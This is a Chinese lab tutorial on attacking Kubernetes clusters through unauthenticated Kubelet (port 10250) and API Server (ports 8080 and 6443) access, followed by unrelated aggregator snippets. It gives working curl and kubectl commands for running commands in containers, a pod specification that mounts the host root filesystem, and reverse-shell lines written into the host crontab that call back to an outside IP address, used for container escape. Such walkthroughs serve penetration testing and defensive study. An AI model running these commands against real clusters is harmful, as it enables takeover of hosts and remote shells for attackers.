当前位置: 首页 > news >正文

Day97:云上攻防-云原生篇KubernetesK8s安全APIKubelet未授权访问容器执行

知识点:

1、云原生-K8s安全-名词架构&各攻击点

2、云原生-K8s安全-Kubelet未授权访问

3、云原生-K8s安全-API Server未授权访问

K8S集群

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。

Master节点(控制端)、Node节点(主机)、Pod(容器)

具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768

K8S集群攻击点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

通过虚拟机攻击云管理平台,利用管理平台控制所有机器

通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。

详细攻击点参考:

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

扫目标端口来判断

本地搭建环境测试,搭建环境使用3台Centos 7,参考文章:

https://www.jianshu.com/p/25c01cae990c

https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130

K8s-node1 192.168.139.131

K8s-node2 192.168.139.132

云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问

修改配置文件

192.168.230.132配置如下:

/var/lib/kubelet/config.yaml

修改authentication的anonymous为true,

将authorization mode修改为AlwaysAllow,

重启kubelet进程-

systemctl restart kubelet

再次访问

1、访问获取三个参数值

https://192.168.16.142:10250/runningpods/

2、执行容器命令:

curl -XPOST -k "https://192.168.16.142:10250/run/default/nginx-6db489d4b7-t8rqt/nginx" -d "cmd=id"

执行的命令是test03容器里的命令,需要进行容器逃逸

云原生-K8s安全-API Server未授权访问

API Server(Master)未授权访问

攻击8080端口

旧版本的k8s的API Server默认会开启两个端口:8080和6443。

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)

新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/

- --insecure-port=8080

- --insecure-bind-address=0.0.0.0

访问http://192.168.16.137:8080/

kubectl官方工具下载地址:安装工具 | Kubernetes

一、获取所有主机(nodes)节点

kubectl.exe -s 192.168.16.143:8080 get nodes  

二、获取所有容器(pods)节点

kubectl.exe -s 192.168.16.143:8080 get pods

三、创建新的docker容器

kubectl -s 192.168.16.143:8080 create -f test.yaml

kubectl apply -f pod.yaml --namespace=test

//创建一个pod文件,相当于新建一个名为xiaodi的docker容器

kubectl.exe -s 192.168.16.143:8080 get pods  

四、进入到创建的docker容器

kubectl -s 192.168.16.143:8080 --namespace=default exec -it xiaodi bash

kubectl -s 192.168.16.143:8080 exec -it "xiaodi" /bin/bash

进不去,

kubectl exec -it "xiaodi" /bin/bash

//docker进入到xiaodi容器的命令

五、容器逃逸获取宿主机shell

echo -e "* * * * * root bash -i >& /dev/tcp/111.230.109.74/4444 0>&1\n" >> /mnt/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

其中一个节点写入

反弹成功了

是宿主机

API Server(Master)未授权访问

攻击6443端口

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

访问

一、创建恶意pods容器

https://192.168.16.143:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test03\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test03\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test03","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test03","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

二、连接查看pods

kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 get pods

三、进入到test03容器里并反弹宿主机的shell

kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 --namespace=default exec -it test03 bin/bash   //失败

kubectl exec -it "test03" /bin/bash

echo -e "* * * * * root bash -i >& /dev/tcp/111.230.109.74/4455 0>&1\n" >> /host/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

反弹成功了

相关文章:

Day97:云上攻防-云原生篇KubernetesK8s安全APIKubelet未授权访问容器执行

知识点&#xff1a; 1、云原生-K8s安全-名词架构&各攻击点 2、云原生-K8s安全-Kubelet未授权访问 3、云原生-K8s安全-API Server未授权访问 K8S集群 Kubernetes是一个开源的&#xff0c;用于编排云平台中多个主机上的容器化的应用&#xff0c;目标是让部署容器化的应用…...

招聘|头部云厂商招 PG 核心骨干 DBA【上海】

我们的招聘专区又回来了&#xff01;&#x1f3c3; Bytebase 作为先进的数据库 DevOps 团队协同工具 &#x1f527;&#xff0c;用户群里汇聚了 &#x1f497; 业界优秀的 DBA&#xff0c;SRE&#xff0c;运维的同学们 &#x1f31f;。 上周用户群里有小伙伴发招聘信息 &…...

继承(下)【C++】

文章目录 子类继承父类之后&#xff0c;子类的默认成员函数的变化构造函数编译器自动生成的构造函数程序员手动写的构造函数 拷贝构造编译器自动生成的拷贝构造函数程序员手动写的拷贝构造函数 赋值重载编译器自动生成的赋值重载程序员手动写的赋值重载 析构函数 继承与友元菱形…...

AI模拟器

一、介绍 基于鸿蒙Next模拟一个ai对话过程二、场景需求 客户服务、数据分析、个性化推荐、图像和视频处理、智能家居、交通管理、教育行业、制造等等。 三、业务步骤 第一步&#xff1a;输入框提出问题&#xff0c;发送问题&#xff0c; 第二部&#xff1a;下次发送&#xff0…...

【C++二分查找 前缀和】1658. 将 x 减到 0 的最小操作数

本文涉及的基础知识点 C二分查找 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 LeetCode1658. 将 x 减到 0 的最小操作数 给你一个整数数组 nums 和一个整数 x 。每一次操作时&#xff0c;你应当移除数组 nums 最左边或最右边的元素&am…...

验证实战知识点--(2)

1.seq中的pre_start pre_start 是 uvm_sequence 类的一个虚拟方法&#xff0c;用于在序列开始执行之前进行初始化和设置。这个方法在调用 start 方法前立即执行&#xff0c;提供了一个执行自定义初始化代码的机会。 start 方法用于启动序列的执行&#xff0c;而 pre_start 可以…...

【图文并茂】ant design pro 如何优雅地把删除和批量删除功能合并到一起,并抽出来成为组件

如上图所示&#xff0c;其实批量删除和删除应该算是一个功能 只是删除一个或多个的区别 那么接口应该用的同一个 删除一个的时候呢&#xff0c;就传 一个对象_id 过去 删除多个的时候&#xff0c;就传 多个 对象 _id 的数组过去 后端 const deleteMultipleRoles handleAs…...

监控篇之利用dcgm-exporter监控GPU指标并集成grafana大盘

一、应用场景 当环境中包含GPU节点时&#xff0c;需要了解GPU应用使用节点GPU资源的情况&#xff0c;例如GPU利用率、显存使用量、GPU运行的温度、GPU的功率等。 在获取GPU监控指标后&#xff0c;用户可根据应用的GPU指标配置弹性伸缩策略&#xff0c;或者根据GPU指标设置告警…...

获取当前路由器的外网IP(WAN IP)

GPT-4o (OpenAI) 获取当前路由器的外网IP&#xff08;WAN IP&#xff09;可以通过以下几种方法&#xff1a; 1. 访问路由器管理页面&#xff1a; - 通常路由器的管理页面可以通过在浏览器中输入路由器的IP地址来访问&#xff08;例如&#xff0c;192.168.0.1 或 192.168.1…...

QT Creator UI中文输入跳出英文

笔者用的是QQ拼音输入&#xff0c;发现只要在UI中加入了QTableWidget&#xff0c;输入多几次中文&#xff0c;就会跳入英文。 后面改用搜狗拼音稍微好一些&#xff0c;但是偶尔还是插入了空格。...

Java基础核心知识学习笔记

方法重载 请记住下面重载的条件 方法名称必须相同。参数列表必须不同&#xff08;个数不同、或类型不同、参数类型排列顺序不同等&#xff09;。方法的返回类型可以相同也可以不相同。仅仅返回类型不同不足以成为方法的重载。重载是发生在编译时的&#xff0c;因为编译器可以根…...

Leetcode 237.19.83.82 删除链表重复结点 C++实现

Leetcode 237. 删除链表中的节点 问题&#xff1a;有一个单链表的head&#xff0c;我们想删除它其中的一个节点node。给你一个需要删除的节点 node 。你将 无法访问 第一个节点head。链表的所有值都是唯一的&#xff0c;并且保证给定的节点 node不是链表中的最后一个节点。删除…...

Spring OAuth2.0资源服务源码解析

主要分析spring-security-oauth2-resource-server的源码&#xff0c;介绍OAuth2.0授权码模式下Spring Boot OAuth2资源服务的运行流程&#xff0c;分析其是如何对令牌进行认证的&#xff0c;并展示资源服务配置 代码版本信息 Spring Boot 2.7.10 spring-security-oauth2-resou…...

JavaScript 原型与原型链

原型与原型链 要讨论原型与原型链&#xff0c;就要先了解什么是 构造函数 &#xff0c;构造函数与普通函数没有太大的区别&#xff0c;使用 new关键字 创建实例对象的函数&#xff0c;就叫做构造函数。 在js中&#xff0c;每一个函数类型的数据都有一个 .prototype 的属性&am…...

Spring Boot实现简单的Oracle数据库操作

使用到的技术&#xff1a; 1. Spring Boot&#xff1a;用于简化Spring应用的开发。 2. Dynamic DataSource&#xff1a;实现动态多数据源的访问和切换 3. Oracle JDBC Driver&#xff1a;与Oracle数据库进行连接和交互。 4. Mybatis-Plus&#xff1a;简化SQL映射和数据库访问。…...

微软发布 Phi-3.5 系列模型,涵盖端侧、多模态、MOE;字节 Seed-ASR:自动识别多语言丨 RTE 开发者日报

开发者朋友们大家好&#xff1a; 这里是 「RTE 开发者日报」 &#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE&#xff08;Real-Time Engagement&#xff09; 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…...

笔记:Echarts柱状图 实现滚轮条 数据太多

效果&#x1f447;&#x1f447;&#x1f447; 配置&#xff1a;&#x1f447; let option {dataZoom: [{type: "slider",show: true,zoomLock: true,start: 0,end: 20,bottom: 60,height: 10,textStyle: {color: "transparent",fontSize: 9,},fillerColo…...

嵌入式学习day17(数据结构)

大纲 数据结构、算法数据结构&#xff1a; 1. 线性表&#xff1a;顺序表、链表&#xff08;单向链表&#xff0c;单向循环链表&#xff0c;双向链表&#xff0c;双向循环链表&#xff09;、栈&#xff08;顺序栈&#xff0c;链式栈&#xff09;、队列&#xff08;循…...

网站怎么做敏感词过滤,敏感词过滤的思路和实践

敏感词过滤是一种在网站、应用程序或平台中实现内容审查的技术&#xff0c;用于阻止用户发布包含不适当、非法或不符合政策的内容。我们在实际的网站运营过程中&#xff0c;往往需要担心某些用户发布的内容中包含敏感词汇&#xff0c;这些词汇往往会导致我们的网站被用户举报&a…...

【峟思】如何使用投入式水位计才能确保测量准确性

在水利、环保、工业监测等众多领域&#xff0c;水位测量是一项至关重要的任务&#xff0c;它不仅直接关系到水资源的合理利用与保护&#xff0c;还影响到防洪、供水、排水等多个方面的安全与效率。投入式水位计作为一种常见的水位测量工具&#xff0c;以其结构简单、测量准确、…...

破解大规模3D地理空间数据转换瓶颈:5大技术突破实现10倍性能提升

破解大规模3D地理空间数据转换瓶颈&#xff1a;5大技术突破实现10倍性能提升 【免费下载链接】3d-tiles-tools 项目地址: https://gitcode.com/gh_mirrors/3d/3d-tiles-tools 行业痛点&#xff1a;当3D数据量级遭遇技术天花板 在数字孪生、智慧城市和地理信息系统领域…...

别再乱改网段了!深入理解 VMware NAT 与桥接模式:根据你的真实需求选择网络配置(附场景对比)

深度解析VMware网络模式&#xff1a;NAT与桥接的实战选择指南 虚拟化技术已成为现代开发与测试环境的核心基础设施&#xff0c;而网络配置的选择往往决定了整个工作流的顺畅程度。许多用户在初次接触VMware Workstation时&#xff0c;面对NAT、桥接等模式常感到困惑——究竟哪种…...

HI3861实战指南:基于MQTT协议实现OneNET平台设备双向通信

1. HI3861与OneNET平台双向通信实战 第一次接触HI3861开发板时&#xff0c;我就被它轻量级的物联网开发能力吸引了。这块板子虽然体积小&#xff0c;但配合OneNET平台能实现完整的物联网数据交互。今天我就用最直白的语言&#xff0c;分享如何让HI3861通过MQTT协议与OneNET平台…...

面试题:文本表示方法详解——One-hot、Word2Vec、上下文表示、BERT词向量全解析(NLP基础高频考点)

1. 为什么面试官总爱问“文本表示方法”&#xff1f;1.1 这个问题的本质是什么任何 NLP 系统&#xff0c;不管是情感分析、文本分类、搜索推荐、智能客服&#xff0c;还是今天的大模型应用&#xff0c;本质上都绕不开一个前提&#xff1a;机器并不真正认识“文字”&#xff0c;…...

5分钟搞定B站视频数据分析:让数据采集变得像点外卖一样简单

5分钟搞定B站视频数据分析&#xff1a;让数据采集变得像点外卖一样简单 【免费下载链接】Bilivideoinfo Bilibili视频数据爬虫 精确爬取完整的b站视频数据&#xff0c;包括标题、up主、up主id、精确播放数、历史累计弹幕数、点赞数、投硬币枚数、收藏人数、转发人数、发布时间、…...

5分钟搞定Windows和Office激活:KMS_VL_ALL_AIO智能激活完全指南

5分钟搞定Windows和Office激活&#xff1a;KMS_VL_ALL_AIO智能激活完全指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统激活而烦恼吗&#xff1f;每次重装系统后都要面对繁…...

Avogadro 2:开源分子可视化库的终极技术解析

Avogadro 2&#xff1a;开源分子可视化库的终极技术解析 【免费下载链接】avogadrolibs Avogadro libraries provide 3D rendering, visualization, analysis and data processing useful in computational chemistry, molecular modeling, bioinformatics, materials science,…...

GitHub Enterprise MCP服务器:企业级代码管理的AI智能助手

1. 项目概述&#xff1a;当GitHub Enterprise遇上MCP&#xff0c;企业级代码管理的“智能副驾”最近在折腾企业内部的开发工具链&#xff0c;发现一个痛点&#xff1a;我们团队重度依赖GitHub Enterprise Server&#xff08;GHES&#xff09;进行代码托管和协作&#xff0c;但日…...

小满nestjs(第二十五章 NestJS ORM实战:TypeORM连接MySQL与实体映射)

1. TypeORM连接MySQL的完整配置指南 第一次在NestJS项目中使用TypeORM连接MySQL时&#xff0c;我踩了不少坑。记得当时因为一个简单的端口配置错误&#xff0c;折腾了大半天才成功连接。现在回想起来&#xff0c;其实只要掌握几个关键配置项&#xff0c;整个过程可以非常顺畅。…...

高项通关秘籍:十大管理ITTO核心逻辑与实战速记

1. 十大管理ITTO的本质与学习误区 第一次接触高项考试的朋友&#xff0c;看到十大管理47个过程域的ITTO&#xff08;输入、工具与技术、输出&#xff09;时&#xff0c;往往会被密密麻麻的表格吓到。我当年备考时&#xff0c;整整三天都在和这些缩写词较劲&#xff0c;直到发现…...